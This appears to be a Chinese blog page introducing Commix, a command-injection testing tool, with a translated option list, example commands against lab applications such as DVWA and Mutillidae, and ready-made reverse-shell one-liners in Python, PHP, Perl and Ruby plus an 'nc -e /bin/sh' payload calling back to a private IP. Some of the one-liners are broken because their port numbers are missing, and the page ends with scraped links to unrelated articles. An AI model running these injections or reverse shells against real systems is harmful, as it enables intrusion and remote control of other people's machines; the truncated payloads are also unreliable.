介绍

  项目地址:https://github.com/stasinopoulos/commix

  Commix是一个使用Python开发的漏洞测试工具,这个工具是为了方便的检测一个请求是否存在命令注入漏洞,并且对其进行测试,在其作者发布的最新版本中支持直接直接导入burp的历史记录进行检测,大大提高了易用性。

使用

选项:
    -v           VERBOSE详细程度级别(-,默认值:)。
    --version       显示版本号并退出。
    --output-dir=..   设置自定义输出目录路径。
    -s SESSION_FILE   从存储(.sqlite)文件加载会话。
    --flush-session   刷新当前目标的会话文件。
    --ignore-session  忽略存储在会话文件中的结果。   目标:
    -u URL,--url = URL  目标URL。
    --url-reload      在命令执行后重新加载目标URL。
    -l LOGFILE       解析来自HTTP代理日志文件的目标和数据。
    --crawl = CRAWLDEPTH 从目标网址开始抓取网站(-,默认值:)。   请求:
    --data=DATA      要通过POST发送的数据字符串。
    --host=HOST       HTTP主机头。
    --referer=REFERER   HTTP Referer标头。
    --user-agent=AGENT  HTTP用户代理头。
    --random-agent    使用随机选择的HTTP User-Agent头。
    --param-del=PDEL   设置分割参数值的字符。
    --cookie=COOKIE    HTTP Cookie头。
    --cookie-del=CDEL   设置分割cookie值的字符。
    --headers=HEADERS  额外标头(例如「Header1:Value1 \ nHeader2:Value2」)。
    --proxy=PROXY     使用HTTP代理(例如“127.0.0.1:”)。
    --tor          使用Tor网络。
    --tor-port=...    设置Tor代理端口(默认值:)。
    --auth-url=...    登录面板URL。
    --auth-data =AUTH   登录参数和数据。
    --auth-type =AUTH   HTTP认证类型(例如“基本”或“摘要”)。
    --auth-cred =AUTH   HTTP身份验证凭据(例如“admin:admin”)。
    --ignore-401      忽略HTTP错误401(未授权)。
    --force-ssl      强制使用SSL / HTTPS。   枚举:
    这些选项可用于枚举目标主机。
    --all            检索一切。
    --current-user       检索当前用户名。
    --hostname         检索当前主机名。
    --is-root          检查当前用户是否具有root权限。
    --is-admin         检查当前用户是否具有管理员权限。
    --sys-info         检索系统信息。
    --users           检索系统用户。
    --passwords         检索系统用户密码散列。
    --privileges        检索系统用户权限。
    --ps-version        检索PowerShell的版本号。   文件访问:
    这些选项可用于访问目标主机上的文件。
    --file-read = FILE ..  从目标主机读取文件。
    --file-write = FIL ..  写入目标主机上的文件。
    --file-upload = FI ..  在目标主机上上传文件。
    --file-dest = FILE ..  写入和/或上传到的主机的绝对文件路径。   模块:
    这些选项可用于增加检测和/或注射能力。
    --icmp-exfil = IP_ ..'ICMP exfiltration'注入模块。 (例如'ip_src = 192.168.178.1,ip_dst = 192.168.178.3')。
    --dns-server = DNS ..“DNS exfiltration”注入模块。  (用于DNS筛选攻击的域名)。
    --shellshock“炮弹”注射模块。
  注射:
    这些选项可用于指定要插入和输入的参数,提供定制注入有效负载。
    -p TEST_PARAMETER    可测试参数。
    --suffix = SUFFIX    注入有效负载后缀字符串。
    --prefix = PREFIX    注入有效负载前缀字符串。
    --technique = TECH   指定要使用的进样技术。
    --maxlen = MAXLEN    设置与时间相关的最大输出长度,注射技术(默认:10000字符)。
    --delay = DELAY     设置与时间相关的注入的自定义时间延迟术(默认:1秒)。
    --tmp-path = TMP_P .. 设置Web服务器的临时目录的绝对路径。
    --root-dir = SRV_R .. 设置Web服务器根目录的绝对路径。
    --alter-shell = AL .. 使用另一个os-shell(例如'Python')。
    --os-cmd = OS_CMD    执行单个操作系统命令。
    --os = OS        将后端操作系统强制为此值。
    --tamper = TAMPER   使用给定脚本篡改注射数据。   检测:
    这些选项可用于自定义检测阶段。     --level = LEVEL  要执行的测试级别(-,默认值:)。
    --skip-calc    在检测期间跳过数学计算
    --dependencies  检查第三方(非内核)依赖关系。
    --skip-waf    绕过启发式检测WAF / IPS / IDS保护。

使用举例

python commix.py –url="http://192.168.1.4/test/test.php?addr=INJECT_HERE” --os-cmd="nc -e /bin/sh 192.168.1.3 1234″

Freebuf给出的一些用法(http://www.freebuf.com/sectool/64030.html)

测试漏洞web应用Damn

python commix.py --url="http://192.168.178.58/DVWA-1.0.8/vulnerabilities/exec/#" --data="ip=INJECT_HERE&submit=submit" --cookie="security=medium; PHPSESSID=nq30op434117mo7o2oe5bl7is4"

使用注入攻击Payload参数测试php-Charts 1.0

python commix.py --url="http://192.168.178.55/php-charts_v1.0/wizard/index.php?type=INJECT_HERE" --prefix="//" --suffix="'"

使用特殊的头和HTTP代理测试OWASP Mutillidae

python commix.py --url="http://192.168.178.46/mutillidae/index.php?popUpNotificationCode=SL5&page=dns-lookup.php" --data="target_host=INJECT_HERE" --headers="Accept-Language:fr\nETag:123\n" --proxy="127.0.0.1:8081"

使用ICMP渗漏(exfiltration)技术测试Persistence

su -c "python commix.py --url="http://192.168.178.8/debug.php" --data="addr=127.0.0.1" --icmp-exfil="ip_src=192.168.178.5,ip_dst=192.168.178.8""

配合一些反弹shell

. Python-reverse-shell:
  python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\”192.168.1.3\”,));os.dup2(s.fileno(),); os.dup2(s.fileno(),); os.dup2(s.fileno(),);p=subprocess.call([\”/bin/sh\”,\”-i\”]);’
. PHP-reverse-shell:
  php -r ‘\$sock=fsockopen(\”192.168.1.3\”,);exec(\”/bin/sh -i <% >% >%\”);’
. Perl-reverse-shell:
  perl -e ‘use Socket;\$i=\”192.168.1.3\”;\$p=;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\”tcp\”));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\”>%26S\”);open(STDOUT,\”>%26S\”);open(STDERR,\”>%26S\”);exec(\”/bin/sh -i\”);};’
. Ruby-reverse-shell:
  ruby -rsocket -e ‘exit if fork;c=TCPSocket.new(\”192.168.1.3\”,);while(cmd=c.gets);IO.popen(cmd,\”r\”){|io|c.print io.read}end’

Commix命令注入漏洞利用的更多相关文章

  1. DVWA各等级命令注入漏洞

    漏洞描述 在web程序中,因为业务功能需求要通过web前端传递参数到后台服务器上执行,由于开发人员没有对输入进行严格过滤,导致攻击者可以构造一些额外的"带有非法目的的"命令,欺骗后 ...

  2. ThinkPHP5.0.21&5.1.* 代码执行和命令执行漏洞利用

    ThinkPHP5.0.21&5.1.* 代码执行和命令执行漏洞利用 ThinkPHP5.0.21&5.1.*  exploit code execution and command ...

  3. commix 命令注入工具

    关于系统命令注入,可以参考这篇文章:命令攻击介绍 系统命令注入场景 在对企业进行安全测试时候,很少会发现系统注入漏洞.这是因为大部分情况下代码业务主要是数据操作.文件操作.逻辑处理和api接口调用等, ...

  4. CVE-2020-15778 OpenSSH命令注入漏洞复现

    一.漏洞概要 OpenSSH 8.3p1及之前版本中的scp允许在scp.c远程功能中注入命令,攻击者可利用该漏洞执行任意命令.目前绝大多数linux系统受影响. 参考链接:https://githu ...

  5. DedeCMS全版本通杀SQL注入漏洞利用代码及工具

    dedecms即织梦(PHP开源网站内容管理系统).织梦内容管理系统(DedeCms) 以简单.实用.开源而闻名,是国内最知名的PHP开源网站管理系统,也是使用用户最多的PHP类CMS系统,近日,网友 ...

  6. Drupal 7.31 SQL注入漏洞利用具体解释及EXP

     有意迟几天放出来这篇文章以及程序,只是看样子Drupal的这个洞没有引起多少重视,所以我也没有必要按着不发了,只是说实话这个洞威力挺大的.当然.这也是Drupal本身没有意料到的. 0x00 首 ...

  7. DedeCMS全版本通杀SQL注入漏洞利用代码

    EXP: Exp:plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\'   or mid=@`\'` /*!50000u ...

  8. CVE-2017-17215 - 华为HG532命令注入漏洞分析

    前言 前面几天国外有个公司发布了该漏洞的详情.入手的二手 hg532 到货了,分析测试一下. 固件地址:https://ia601506.us.archive.org/22/items/RouterH ...

  9. ThinkPHP 5.1.x远程命令执行漏洞利用, 参考POC

    thinkphp5.1.1为例 1.代码执行: http://192.168.0.108/public//index.php?s=index/\think\Request/input&filt ...

随机推荐

  1. Web API 2中的Action Results

    [译]Action Results in Web API 2 单击此处查看原文 本文阐述了ASP.NET Web API是如何将controller action的返回值转换为HTTP respons ...

  2. 01--css编码技巧--css揭秘

    一 尽量减少代码重复 1.按钮 #btn { padding: .3em .8em; border: 1px solid #446d88; background: #58a linear-gradie ...

  3. 利用fiddler将本地网页放到某个域下

    注: 1)在学习慕课网课程<搜索框制作>中遇到如题困难,查找资料后解决,做此记录.课程网址http://www.imooc.com/video/263. 2)建议同时去学习慕课网课程< ...

  4. trove manual installation 翻译

    目标 此文件提供了一步一步的指导手动安装trove在一个现有OpenStack的环境为了开发. 该文件将不包括: OpenStack的设置 trove服务配置 要求 正在运行的OpenStack的环境 ...

  5. 关于jquery 1.9以上多次点击checkbox无法选择的

    在jquery1.9之前,我们对于一个checkbox对象来进行重复选择或者取消, 我们可以使用这个方法$().attr('checked',checked);//选中 $().removeAttr( ...

  6. 关于64位win7环境下VS连接oracle数据库的问题

    本机环境:64位win7,安装了64位的oracle桌面类 服务器环境:64位windows server 2008,64位oracle服务器端 问题:本机用sql developer连数据库没有问题 ...

  7. python 数组过滤

    arr = [1,2,3,4,5,6,7,8,None]arr = [elem for elem in arr if elem != None]

  8. python 算法练习

    根据给定的线性函数来确定函数的表达形式: examples: get_function([0,1,2,3,4]) => f(x)=x get_function([1,4,7,10,13]) =& ...

  9. 记录下 js各种证件的正则验证

    身份证 /(^\d{15}$)|(^\d{17}([0-9]|X)$)/    护照 /^[a-zA-Z0-9]{3,21}$/   /^(P\d{7})|(G\d{8})$/    军官证或士兵证 ...

  10. offsetLeft

    offsetLeft 获取的是相对于父对象的左边距,且返回值为数字: left 获取或设置相对于 具有定位属性(position定义为relative)的父对象 的左边距,且返回值是字符串eg:10p ...